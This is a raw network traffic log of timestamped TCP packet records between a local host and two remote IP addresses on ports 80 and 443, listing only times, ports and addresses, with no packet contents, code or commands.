Nov 1, 2024 03:46:21.603437901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603632927 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603677988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603722095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603734016 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603760004 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603773117 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.603840113 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.603879929 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.609009027 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:21.609076023 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:21.610363960 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:21.610373974 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:21.610615015 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:21.611798048 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:21.611932993 CET	58529	443	192.168.2.6	188.114.97.3
Nov 1, 2024 03:46:21.611962080 CET	443	58529	188.114.97.3	192.168.2.6
Nov 1, 2024 03:46:21.637171984 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637213945 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637228966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637238026 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637276888 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637345076 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637386084 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637420893 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637456894 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637497902 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637512922 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637532949 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637547016 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637726068 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637737989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.637768030 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.637784958 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.678554058 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.678575993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.678623915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.678642035 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.678666115 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.678711891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.678730011 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.678741932 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.678752899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.678786039 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.679141045 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.679188967 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.679220915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.679236889 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.679260015 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.679280996 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.719006062 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.719058990 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.719070911 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.719096899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.719129086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721421003 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721438885 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721472979 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721473932 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721497059 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721520901 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721586943 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721632957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721700907 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721745014 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721829891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721879005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.721884012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.721925020 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.722292900 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.722345114 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.722415924 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.722429037 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.722440004 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.722451925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.722456932 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.722467899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.722500086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756012917 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756059885 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756072044 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756122112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756169081 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756186008 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756228924 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756320000 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756331921 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756361008 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756376028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756530046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756541967 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756576061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756845951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756891012 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.756911993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756922960 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.756956100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.797374010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797446966 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797451019 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.797460079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797483921 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.797498941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.797621012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797661066 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.797698021 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797827005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797837973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797848940 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.797908068 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.837717056 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.837729931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.837764025 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.837776899 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.837800026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.837845087 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.837858915 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.837904930 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840176105 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840209007 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840224028 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840245008 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840253115 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840296984 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840411901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840425014 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840435982 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840456009 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840475082 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840747118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840791941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840822935 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840833902 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.840856075 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.840874910 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.841084957 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.841135025 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.841146946 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.841157913 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.841192007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.874715090 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.874752998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.874792099 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.874809027 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.874847889 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.874928951 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.874941111 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.874975920 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.875174046 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.875216961 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.875283957 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.875296116 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.875330925 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.875462055 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.875508070 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.875591993 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.875602961 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.875639915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.917314053 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917392969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.917476892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917486906 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917517900 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.917548895 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.917634010 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917645931 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917656898 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917665005 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.917696953 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.917912006 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.917952061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.918349028 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.918359041 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.918400049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.956551075 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.956571102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.956617117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.956660986 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.956686974 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.956707001 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.956753969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.958910942 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.958950043 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.958981991 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.958998919 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.959002972 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.959044933 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.959141970 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.959153891 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.959166050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.959188938 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.959209919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.961488962 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.961553097 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.963223934 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.963234901 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.963246107 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.963284969 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.963329077 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.963356018 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.963367939 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.963392973 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.963407993 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.994980097 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.994991064 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995006084 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995053053 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995085955 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995117903 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995129108 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995156050 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995167971 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995296955 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995331049 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995480061 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995490074 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995505095 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995510101 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995524883 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995543957 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995641947 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995655060 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995672941 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995697021 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.995858908 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.995902061 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:21.996038914 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.996049881 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:21.996085882 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.034951925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.034961939 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.034976959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.035006046 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.035053968 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.035152912 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.035164118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.035176992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.035198927 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.035221100 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.076889992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.076900959 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.076913118 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.076936007 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.076956987 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.077033997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.077119112 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079111099 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079135895 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079147100 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079155922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079169989 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079190016 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079267025 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079299927 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079349995 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079387903 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079494953 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079536915 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079655886 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079693079 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079834938 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079854012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.079873085 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079890966 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.079988956 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.080025911 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.080246925 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.080264091 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.080275059 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.080286980 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.080297947 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.080318928 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.113713026 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.113758087 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.113872051 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.113883972 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.113981962 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114051104 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114079952 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114211082 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114222050 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114233971 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114245892 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114249945 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114265919 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114293098 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114557981 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114589930 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114726067 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114737034 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114759922 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114774942 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114911079 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114922047 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114940882 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114940882 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.114955902 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.114974022 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.115255117 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.115267992 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.115287066 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.115302086 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.155158997 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.155224085 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.155328989 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.155342102 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.155467987 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.155512094 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.155555964 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.155631065 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.155642033 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.155682087 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.195738077 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.195749998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.195760012 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.195904970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.197803974 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.197822094 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.197881937 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.197978020 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.197992086 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198003054 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198024988 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.198051929 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.198302031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198318005 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198343992 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.198365927 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.198635101 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198652029 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198663950 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.198678970 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.198697090 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.198961973 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.199007034 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.199110031 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.199152946 CET	58527	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:22.199295998 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.199306965 CET	80	58527	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:22.199342966 CET	58527	80	192.168.2.6	185.215.113.16
